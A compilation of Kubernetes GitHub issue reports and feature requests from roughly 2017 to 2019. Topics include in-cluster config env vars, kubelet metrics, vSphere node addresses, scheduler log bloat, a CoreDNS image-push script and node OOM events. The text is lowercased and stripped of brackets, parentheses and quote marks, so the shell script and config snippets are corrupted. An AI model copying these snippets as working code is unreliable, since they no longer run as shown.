:\\\ methodnotallowed\\\ ,\\\ details\\\ :{},\\\ code\\\ :405}\ \ \r    e2e.test/v1.6.0  linux/amd64  kubernetes/527d502  104.155.160.14:51143 \r

\r   is this a bug report or feature request?    choose one :\r \r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r gke\r \r   what happened  :\r \r kubernetes_service_host and kubernetes_service_port weren't set in pod env.\r \r   what you expected to happen  :\r \r kubernetes_service_host and kubernetes_service_port should be set by default in pod.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r create in-cluster client in a pod.\r \r this isn't easily reproducible. we encountered this issue when running extensive e2e tests and the logs showed that a pod crashed due to:\r    \r panic: unable to load in-cluster configuration, kubernetes_service_host and kubernetes_service_port must be defined\r    \r \r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-latest-upgrade-cluster/1106\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:123\r expected success, but got an error:\r     < errors.errorstring | 0xc4203f7ad0>: {\r         s: \ pod ran to completion\ ,\r     }\r     pod ran to completion\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pv_util.go:691\r    \r \r this is upgrading from the latest 1.6 branch to master.

is this a bug report or feature request?  : bug report.\r \r   \r   what happened  :\r \r i upgraded a cluster from 1.6.6 to 1.7.0.  kubelet no longer reports cadvisor metrics such as container_cpu_usage_seconds_total on its metrics endpoint  https://node:10250/metrics/ .  kubelet's own metrics are still there.   cadvisor itself  http://node:4194/  does show container metrics.\r \r   what you expected to happen  :\r \r nothing in the release notes suggests this interface has changed, so i expected the metrics would still be there.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i don't know, but i can reproduce it reliably on this cluster; rebooting or reinstalling nodes doesn't make a difference.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0+coreos.0\ , gitcommit:\ 8c1bf133b4129042ef8f7d1ffac1be14ee83ed10\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t17:46:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release : coreos 1409.5.0\r - kernel  e.g.  uname -a  : linux staging-worker-710d.c.torchkube.internal 4.11.6-coreos-r1  1 smp thu jun 22 22:04:38 utc 2017 x86_64 intel r  xeon r  cpu @ 2.20ghz genuineintel gnu/linux\r - install tools: custom scripts.\r - others:\r

using aws as an example, the current zone selection mechanism looks like following  assuming no zone is specified in storageclass \r \r 1. filter all running instances in the region. the region information is usually derived from zone information configured in cloudprovider's config. \r 2. make a set of zones from running instances in the region.\r 3. select a zone from list of zones in step 2 using round robin method  more or less \r \r \r this creates bunch of problems if there are more than one clusters running in the region or there are nodes which don't participate in kube cluster. \r \r our current fix to solve this problem is - tag all instances participating in clustering with some sort of cluster-id  we have 2 distinct ways of tagging instances right now but leaving that aside .  the tagging mechanism is very much tool specific and relying on it completely leads to surprising behaviour.\r \r in stead of relying on running instances, can we not instead keep a set of zones via node information present in node informer and use this set for determining zone of pv?\r \r this will most likely result in change in  provision  interface because for most part-  volume plugins don't initialize or have access to informers, so  zone  has to be selected before making  provision  call or some other related change has to be done. \r \r cc @jsafrane @kubernetes/sig-storage-api-reviews \r \r \r \r \r \r \r

bug report  :\r \r  \r   what happened  :\r after upgrading the kubernetes cluster from 1.6.4 with the vsphere cloud provider enabled to 1.6.5/1.6.6 or 1.6.7, the cluster nodes don't have anymore internalips\r \r    \r   kubectl get node debug.k8s.debug-01 -o yaml\r ...\r status:\r   addresses:\r   - address: 10.9.65.204\r     type: externalip\r   - address: debug.k8s.debug-01\r     type: hostname\r ...\r    \r \r several issues occur at this step.\r for example, it breaks heapster with such an error :\r    \r e0711 12:59:05.000192       1 kubelet.go:282  node debug.k8s.debug-01 has no valid hostname and/or ip address: debug.k8s.debug-01\r    \r   what you expected to happen  :\r the node should have an internalip.\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy a 1 node kubernetes cluster in a vm, and enable the _vsphere_ cloud provider.\r \r   anything else we need to know?  :\r with kubernetes 1.6.4 we get :\r    \r status:\r   addresses:\r   - address: 10.9.65.204\r     type: internalip\r   - address: debug.k8s.debug-01\r     type: hostname\r    \r downgrading to 1.6.4 fixes the issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7+coreos.0\ , gitcommit:\ c8c505ee26ac3ab4d1dff506c46bc5538bc66733\ , gittreestate:\ clean\ , builddate:\ 2017-07-06t17:38:33z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7+coreos.0\ , gitcommit:\ c8c505ee26ac3ab4d1dff506c46bc5538bc66733\ , gittreestate:\ clean\ , builddate:\ 2017-07-06t17:38:33z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release :\r    \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux debug.k8s.debug-01 4.9.0-3-amd64  1 smp debian 4.9.30-2+deb9u2  2017-06-26  x86_64 gnu/linux\r    \r - install tools:\r - others: it may be related to some changes around pr kubernetes 45201\r \r @kubernetes/sig-cluster-ops-bugs @kubernetes/sig-network-bugs\r /area platform/vsphere cloudprovider\r

bug report  :\r \r @kubernetes/sig-scheduling\r @kubernetes/sig-docs\r   \r k8s extended scheduler example provides incorrect key for configuring extenders:\r https://github.com/kubernetes/kubernetes/blob/master/examples/scheduler-policy-config-with-extender.json mentions to configure extender by using \ extenders\  keyword however when configured this way the scheduler skips the extender configuration.\r \r scheduler extender configuration needs to be provided with keyword \ extenderconfigs\ :\r \r reproduce: run scheduler using --policy-config-file using json from the above example extender url.\r \r extended scheduler document needs to be updated with \ extenderconfigs\  instead on \ extender\ \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7\r - cloud provider or hardware configuration  : local cluster\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools: hack/local-cluster-up.sh\r - others:\r

  @kubernetes/sig-gcp-feature-requests\r \r     given\r \r - kubernetes changelogs for every major version have multiple  action required  and  before upgrading  and other stuff which every cluster administrator has to read through before actually upgrading the cluster. examples:\r   -  changelog-1.9  https://github.com/kubernetes/kubernetes/blob/master/changelog-1.9.md  - 13  action required , 25  before upgrading  items\r   -  changelog-1.8  https://github.com/kubernetes/kubernetes/blob/master/changelog-1.8.md  - 12  action required , 12  before upgrading  items\r - gke has node auto-upgrade / master auto-upgrade keep upgrading to new versions automatically\r - nobody is around to process any of the action items in kubernetes changelogs when this happens, aka the auto upgrade features seem to act against changelog warnings\r \r     hence\r \r - enabling gke auto-upgrades is a  shot in the dark , keeping fingers crossed when enabling it, race against a hidden timeline whenever there is a new release to read changelogs and articles, do shadow testing of production stuff, etc.\r - large scale users cannot take unjustifiable risks in production  at www.goeuro.com we'd love to use auto upgrade but we are not able to justify turning it on , and end up falling back to completely manual mode\r \r     proposals\r \r 1. make  action required/before upgrading  in changelogs as machine readable, make gke require human intervention before rolling out upgrades with these warnings\r 2. allow to choose \ major/minor/patch\  option for auto upgrades  old school, the action requireds/warnings in changelogs don't seem to follow any specific versioning pattern \r 3. allow scheduling or delaying auto-upgrades with longer  possibly few weeks  maintenance windows to give cluster administrators larger breathing time between tackling these actions from staging to production  _very_ old school \r \r although 2 and 3 look old school, as a cluster administrator, i'd still take any of them over shooting in the dark with auto-upgrades right now :

today while running our 2k-node scalability presubmit against pr https://github.com/kubernetes/kubernetes/pull/60891, i noticed that scheduler throughput has fallen by ~4-5 times from the normal, i.e 100 pods/s -> 25 pods/s. simultaneously, another 2k-node run i was manually running  against ~same code  showed normal throughput. i compared the scheduler manifests and only difference found was  --v=1  vs  --v=4 .\r \r when i looked at size of scheduler logs, they were huuuugely differing  116kb vs 21gb :\r \r    \r shyamjvs@e2e-test-shyamjvs-master /var/log $ ls -al kube-scheduler.log \r -rw-r--r-- 1 root root 116826 mar  8 14:47 kube-scheduler.log\r    \r \r vs\r \r    \r shyamjvs@e2e-3-master /var/log $ ls -al kube-scheduler.log \r -rw-r--r-- 1 root root 21479967994 mar  8 14:48 kube-scheduler.log\r    \r \r and about 99% of those logs were just these kinds of lines:\r \r    \r i0308 14:41:44.900343       1 scheduler_binder.go:133  findpodvolumes for pod \ e2e-tests-density-30-8-fzpjw/density60000-7-d7ba3921-22d8-11e8-a055-0a580a3c9dc0-srs4v\ , node \ e2e-3-minion-group-9f72\ \r i0308 14:41:44.900375       1 scheduler_binder.go:133  findpodvolumes for pod \ e2e-tests-density-30-8-fzpjw/density60000-7-d7ba3921-22d8-11e8-a055-0a580a3c9dc0-srs4v\ , node \ e2e-3-minion-group-qhkb\ \r i0308 14:41:44.900072       1 scheduler_binder.go:133  findpodvolumes for pod \ e2e-tests-density-30-8-fzpjw/density60000-7-d7ba3921-22d8-11e8-a055-0a580a3c9dc0-srs4v\ , node \ e2e-3-minion-group-l75c\ \r i0308 14:41:44.900470       1 scheduler_binder.go:133  findpodvolumes for pod \ e2e-tests-density-30-8-fzpjw/density60000-7-d7ba3921-22d8-11e8-a055-0a580a3c9dc0-srs4v\ , node \ e2e-3-minion-group-j4jf\ \r    \r \r they're coming from the scheduler volume-binder:\r \r https://github.com/kubernetes/kubernetes/blob/b3ba80b223bb3d21807d473eb4ed3ca0735d6f9f/pkg/controller/volume/persistentvolume/scheduler_binder.go l129-l133\r \r fmu that log would be printed ~o  nodes  pods  which is way too much for our officially supported  5k nodes, 150k pods  limit.\r also seems like  --v=4  is default verbosity level in our gce config-default/test setups  correct me if i'm wrong  and that can eat up the whole disk. which is what happened in the 2k-node run:\r \r    \r shyamjvs@e2e-3-master /var/log $ df\r filesystem     1k-blocks     used available use% mounted on\r /dev/root        1249792   471620    778172  38% /\r ...\r /dev/sda1       47259264 47242880         0 100% /mnt/stateful_partition\r    \r \r as a result the apiserver started crash-looping and the test failed.\r \r cc @kubernetes/sig-scheduling-bugs @kubernetes/sig-storage-misc @msau42  who seems to have added that log  @wojtek-t \r \r

the current tests check that the previously running pods are fine. however, we have run into issues before that even though the existing pods/containers are still running, kubelet can no longer start new pods. the tests should try creating new pods to see if the kubelet can properly start them.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r following command does not complete initcontainers' name.\r \r ~~~\r kubectl logs pod_name -c <tab>\r ~~~\r \r   what you expected to happen  :\r \r  kubectl logs pod_name -c <tab>  completes initcontainers' name.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r after deploy pod with initcontainers, then:\r \r ~~~\r kubectl logs pod_name -c <tab>\r ~~~\r \r   anything else we need to know?  :\r \r proposal patch: https://github.com/kubernetes/kubernetes/pull/61638

this is a continuation of https://github.com/kubernetes/kubernetes/issues/60392\r \r    api-related changes\r -  x  graduate api to stable  65891\r -  x  integration with admission\r     -  x  annotate audit logs in remote admission webhooks\r @caoshufeng is working on this in  58679\r -  x  add user-agent to audit events  64791\r \r    bugfixes and improvements\r -  x  completely remove legacy audit logging https://github.com/kubernetes/kubernetes/pull/65862\r -      optional   always retry audit webhook  https://github.com/kubernetes/kubernetes/issues/55621 \r -      optional   dynamic audit configuration  https://github.com/kubernetes/community/pull/2188 \r \r    policy changes\r -     add a setting in audit policy that will allow rejecting api request when audit logging fails https://github.com/kubernetes/kubernetes/pull/65763\r -      optional   gce audit policy should be made re-usable by other setups  https://github.com/kubernetes/kubernetes/issues/53321 \r -      optional  audit policy should be tested  e.g. that it includes all core resources,  more context  https://github.com/kubernetes/kubernetes/issues/52265 issuecomment-329243972  \r \r    to discuss\r -      optional  auditing federation setups\r \r i mostly carried over the unfinished work from 1.11 issue. two things added: the ability to reject apiserver requests when audit logging fails  configurable via audit policy  and - optionally - recent proposal for dynamic audit configuration.\r \r   /area audit\r \r cc @loburm @tallclair @soltysh

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : gke-1.12-1.13-downgrade-cluster-parallel\r \r   which test s  are failing  :  sig-api-machinery  aggregator should be able to support the 1.7 sample api server using the current aggregator fails on \ pull-kubernetes-e2e-gce\  and \ ci-kubernetes-e2e-gci-gce\ \r \r   since when has it been failing  : 11/14\r \r   testgrid link  : https://testgrid.k8s.io/sig-release-1.13-all gke-1.13-1.12-downgrade-cluster-parallel\r \r   reason for failure  :\r \r this appears to be the same problem as the otherwise resolved issue  63622.  apparently this one test job wasn't updated to stop trying to use a 1.7 api server.\r @\r   anything else we need to know  :\r \r <!-- do not edit below this line -->\r  /    \r @liggitt @spiffxp @rramkumar1

we merged https://github.com/kubernetes/kubernetes/pull/72980 to allow configurable volume limits for cinder. but @dims proposed adding such a limit to openstack.conf as well, among other things this will enable us to support node specific limits more easily - https://github.com/kubernetes/kubernetes/issues/69280 \r \r   

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i used  statefulset  and  service  to deploy pods and  subdomain  to make pods with independent and fixed dns domain, but sometimes i found endpoints and pods are inconsistent in pod ip. ip in pod status is same with pod container, but is different with endpoints.\r \r   what you expected to happen  :\r pod ip in pod status is same with endpoint.\r \r   how to reproduce it  as minimally and precisely as possible   :\r none\r \r   anything else we need to know?  :\r i once found ip in pod status is different with pod container, but not this time.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.3\r - cloud provider or hardware configuration: none\r - os  e.g:  cat /etc/os-release  :  centos7\r - kernel  e.g.  uname -a  : 3.10.0-862.el7.x86_64\r - install tools: kubeadm\r - others:\r

need to push the latest coredns image to gcr.io\r the 1.5.0 image is available in docker coredns/coredns:1.5.0\r \r  \r this is the script used for pushing the image:\r \r    \r  !/bin/sh\r \r if   -z \ $1\  -o -z \ $2\  -o -z \ $3\  -o -z \ $4\   ; then\r     echo \ usage: $0 <src-reg> <image> <tag> <dst-reg>\  > /dev/stderr\r     echo \ example: $0 coredns coredns 1.5.0 staging-k8s.gcr.io\  > /dev/stderr\r     exit 1\r fi\r \r src_reg=\ $1\ \r img=\ $2\ \r tag=\ $3\ \r dst_reg=\ $4\ \r tmp=\ /tmp/$random\ \r json=\ $tmp.json\ \r \r echo \ fetching source manifest\ \r docker manifest inspect ${src_reg}/${img}:${tag} > ${json}\r \r echo\r echo \ pulling source images by sha\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ ${src_reg}/${img}@\\\ , .digest, \\\ \ \\\  \  \\\r     | while read x; do docker pull $x; done\r \r echo\r echo \ tagging images with arch and os\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ docker tag ${src_reg}/${img}@\\\ , .digest, \\\  ${dst_reg}/${img}:${tag}__\\\ , .platform.architecture, \\\ _\\\ , .platform.os, \\\ \ \\\ \  \\\r     | while read x; do $x; done\r \r echo\r echo \ pushing images\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ gcloud docker -- push ${dst_reg}/${img}:${tag}__\\\ , .platform.architecture, \\\ _\\\ , .platform.os, \\\ \ \\\ \  \\\r     | while read x; do $x; done\r \r echo\r echo \ creating and pushing manifest\ \r platforms=$ cat ${json} | jq -j \ .manifests   | .platform.os, \\\ /\\\ , .platform.architecture, \\\ \ \\\ \  | paste -sd, \r echo manifest-tool push from-args \\\r     --platforms \ ${platforms}\  \\\r     --template ${dst_reg}/${img}:${tag}__arch_os \\\r     --target ${dst_reg}/${img}:${tag}\r manifest-tool push from-args \\\r     --platforms \ ${platforms}\  \\\r     --template ${dst_reg}/${img}:${tag}__arch_os \\\r     --target ${dst_reg}/${img}:${tag}\r    \r \r /cc @chrisohaver \r /assign @thockin\r \r @fturib \r \r  

a  daemonset  controller should avoid getting into a hotloop when it gets denied a pod creation.  the controller should use a rate limiting queue similar to what was done for rc here: https://github.com/kubernetes/kubernetes/pull/30626  /cc @kubernetes/rh-cluster-infra @deads2k

according to current design federeated rs controller may move replicas to other cluster once they fail to schedule. at the same time cluster autoscaler may try to grow the cluster to place the pending pod somewhere. some mechanism needs to be added so that these two don't compete with each other.   cc: @quinton-hoole @piosz @fgrzadkowski @jszczepkowski @kubernetes/sig-cluster-federation

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :  52801 shows that prometheus.mustregister will panic on things like dashes in the metric name. there are currently 138 calls to prometheus.mustregister in the kubernetes code base almost exclusively from controllers. we should audit the code to ensure that panic is the desirable response to a bad metric name for these calls vs. something like prometheus.register which will instead return an error.\r \r   what you expected to happen  : see above\r \r   how to reproduce it  as minimally and precisely as possible   : see  52801 \r \r \r   anything else we need to know?  : no\r \r   environment  : all\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration  : all\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   \r >  \r   what happened  :\r worker node is in \ notready\  state after running 44 days. no workload has be changed so far, and memory is not under pressure at all, but node did get oom event.\r \r   what you expected to happen  :\r node should continue to run\r \r   how to reproduce it  as minimally and precisely as possible   :\r not sure how to reproduce as this is not direct bug in one piece but more likely something in consistent after many days exercise.\r \r   anything else we need to know?  :\r    \r $ kubectl describe no symphony-worker0\r name:               symphony-worker0\r roles:              node\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/os=linux\r                     kubernetes.io/hostname=symphony-worker0\r                     node-role.kubernetes.io/node=true\r                     node-role.naas.charter.local/worker=true\r annotations:        flannel.alpha.coreos.com/backend-data={\ vtepmac\ :\ 46:95:91:32:26:0e\ }\r                     flannel.alpha.coreos.com/backend-type=vxlan\r                     flannel.alpha.coreos.com/kube-subnet-manager=true\r                     flannel.alpha.coreos.com/public-ip=10.0.0.22\r                     node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r taints:             <none>\r creationtimestamp:  sat, 30 sep 2017 04:12:40 +0000\r conditions:\r   type             status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----             ------  -----------------                 ------------------                ------                       -------\r   outofdisk        false   mon, 13 nov 2017 15:29:01 +0000   sat, 30 sep 2017 04:12:40 +0000   kubelethassufficientdisk     kubelet has sufficient disk space available\r   memorypressure   false   mon, 13 nov 2017 15:29:01 +0000   thu, 09 nov 2017 17:28:27 +0000   kubelethassufficientmemory   kubelet has sufficient memory available\r   diskpressure     false   mon, 13 nov 2017 15:29:01 +0000   thu, 09 nov 2017 17:28:27 +0000   kubelethasnodiskpressure     kubelet has no disk pressure\r   ready            false   mon, 13 nov 2017 15:29:01 +0000   thu, 09 nov 2017 17:28:27 +0000   kubeletnotready              container runtime is down\r addresses:\r   internalip:  10.0.0.22\r   hostname:    symphony-worker0\r capacity:\r  cpu:     8\r  memory:  16267880ki\r  pods:    110\r allocatable:\r  cpu:     7900m\r  memory:  15665480ki\r  pods:    110\r system info:\r  machine id:                 cf9b563caf2bc11cab56d6a504ff6a29\r  system uuid:                1cc246f5-6ebb-5e46-b764-51d46dbafdee\r  boot id:                    357f5f65-698d-4f60-ab7f-a691dd930073\r  kernel version:             3.10.0-327.el7.x86_64\r  os image:                   centos linux 7  core \r  operating system:           linux\r  architecture:               amd64\r  container runtime version:  docker://1.13.1\r  kubelet version:            v1.8.0+coreos.0\r  kube-proxy version:         v1.8.0+coreos.0\r podcidr:                     10.240.197.0/24\r externalid:                  symphony-worker0\r non-terminated pods:          13 in total \r   namespace                  name                                         cpu requests  cpu limits  memory requests  memory limits\r   ---------                  ----                                         ------------  ----------  ---------------  -------------\r   default                    jbm-elk-6f5d4689c4-zwddb                     0  0%         0  0%       0  0%            0  0% \r   default                    pgset-2                                      0  0%         0  0%       0  0%            0  0% \r   kube-system                elasticsearch-logging-v1-5d9b8cc448-2svnd    100m  1%      1  12%      0  0%            0  0% \r   kube-system                fluentd-es-v1.22-2mtgx                       100m  1%      0  0%       200mi  1%        200mi  1% \r   kube-system                kube-flannel-k4m67                           150m  1%      300m  3%    64m  0%          500m  3% \r   kube-system                kube-proxy-symphony-worker0                  150m  1%      500m  6%    64m  0%          2g  12% \r   kube-system                nginx-proxy-symphony-worker0                 25m  0%       300m  3%    32m  0%          512m  3% \r   monitoring                 grafana-import-dashboards-ssdrl              0  0%         0  0%       0  0%            0  0% \r   monitoring                 node-directory-size-metrics-n2czn            0  0%         0  0%       0  0%            0  0% \r   monitoring                 prometheus-node-exporter-wvjq8               0  0%         0  0%       0  0%            0  0% \r   symphony                   naas-api-db-55779c6bd-8lrqz                  100m  1%      1  12%      256mi  1%        1gi  6% \r   symphony                   naas-api-ooc-74db984489-7kw9d                100m  1%      1  12%      256mi  1%        1gi  6% \r   symphony                   naas-api-ui-5476db647-ng8tr                  100m  1%      1  12%      256mi  1%        1gi  6% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests  cpu limits   memory requests  memory limits\r   ------------  ----------   ---------------  -------------\r   825m  10%     5100m  64%   1147482ki  7%    6442940672  40% \r events:\r   type     reason                   age   from                       message\r   ----     ------                   ----  ----                       -------\r   normal   starting                 59m   kubelet, symphony-worker0  starting kubelet.\r   normal   nodeallocatableenforced  59m   kubelet, symphony-worker0  updated node allocatable limit across pods\r   normal   nodehassufficientdisk    59m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehassufficientdisk\r   normal   nodehassufficientmemory  59m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehassufficientmemory\r   normal   nodehasnodiskpressure    59m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehasnodiskpressure\r   warning  systemoom                59m   kubelet, symphony-worker0  system oom encountered\r   normal   starting                 59m   kubelet, symphony-worker0  starting kubelet.\r   normal   nodeallocatableenforced  59m   kubelet, symphony-worker0  updated node allocatable limit across pods\r   normal   nodehassufficientdisk    59m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehassufficientdisk\r   normal   nodehassufficientmemory  59m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehassufficientmemory\r   normal   nodehasnodiskpressure    59m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehasnodiskpressure\r   warning  systemoom                59m   kubelet, symphony-worker0  system oom encountered\r   warning  systemoom                58m   kubelet, symphony-worker0  system oom encountered\r   normal   nodeallocatableenforced  58m   kubelet, symphony-worker0  updated node allocatable limit across pods\r   normal   nodehassufficientdisk    58m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehassufficientdisk\r   normal   nodehassufficientmemory  58m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehassufficientmemory\r   normal   nodehasnodiskpressure    58m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehasnodiskpressure\r   normal   starting                 58m   kubelet, symphony-worker0  starting kubelet.\r   normal   starting                 58m   kubelet, symphony-worker0  starting kubelet.\r   normal   nodeallocatableenforced  58m   kubelet, symphony-worker0  updated node allocatable limit across pods\r   normal   nodehassufficientdisk    58m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehassufficientdisk\r   normal   nodehassufficientmemory  58m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehassufficientmemory\r   normal   nodehasnodiskpressure    58m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehasnodiskpressure\r   warning  systemoom                58m   kubelet, symphony-worker0  system oom encountered\r   warning  systemoom                57m   kubelet, symphony-worker0  system oom encountered\r   normal   nodeallocatableenforced  57m   kubelet, symphony-worker0  updated node allocatable limit across pods\r   normal   starting                 57m   kubelet, symphony-worker0  starting kubelet.\r   normal   nodehassufficientmemory  57m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehassufficientmemory\r   normal   nodehasnodiskpressure    57m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehasnodiskpressure\r   normal   nodehassufficientdisk    57m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehassufficientdisk\r   normal   starting                 57m   kubelet, symphony-worker0  starting kubelet.\r   normal   nodeallocatableenforced  57m   kubelet, symphony-worker0  updated node allocatable limit across pods\r   normal   nodehassufficientdisk    57m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehassufficientdisk\r   normal   nodehassufficientmemory  57m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehassufficientmemory\r   normal   nodehasnodiskpressure    57m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehasnodiskpressure\r   warning  systemoom                57m   kubelet, symphony-worker0  system oom encountered\r   normal   starting                 57m   kubelet, symphony-worker0  starting kubelet.\r   normal   nodeallocatableenforced  57m   kubelet, symphony-worker0  updated node allocatable limit across pods\r   normal   nodehassufficientdisk    57m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehassufficientdisk\r   normal   nodehassufficientmemory  57m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehassufficientmemory\r   normal   nodehasnodiskpressure    57m   kubelet, symphony-worker0  node symphony-worker0 status is now: nodehasnodiskpressure\r   warning  systemoom                57m   kubelet, symphony-worker0  system oom encountered\r   normal   starting                 56m   kubelet, symphony-worker0  starting kubelet.\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2+coreos.0\ , gitcommit:\ 4c0769e81ab01f47eec6f34d7f1bb80873ae5c2b\ , gittreestate:\ clean\ , builddate:\ 2017-10-25t16:24:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2+coreos.0\ , gitcommit:\ 4c0769e81ab01f47eec6f34d7f1bb80873ae5c2b\ , gittreestate:\ clean\ , builddate:\ 2017-10-25t16:24:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r openstack\r - os  e.g. from /etc/os-release :\r $ cat /etc/os-release\r    name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r linux symphony-worker0 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r kubespray\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   \r \r   what happened  :\r \ upstream\  defines upstream resolvers to be used resolve external names found  cnames \r  pointing to external names. \r it is a good idea to include it as a default in the manifest and keep in sync with the  default coredns manifest  https://github.com/coredns/deployment/blob/master/kubernetes/coredns.yaml.sed l55  \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm,kube-up\r - others:\r \r 

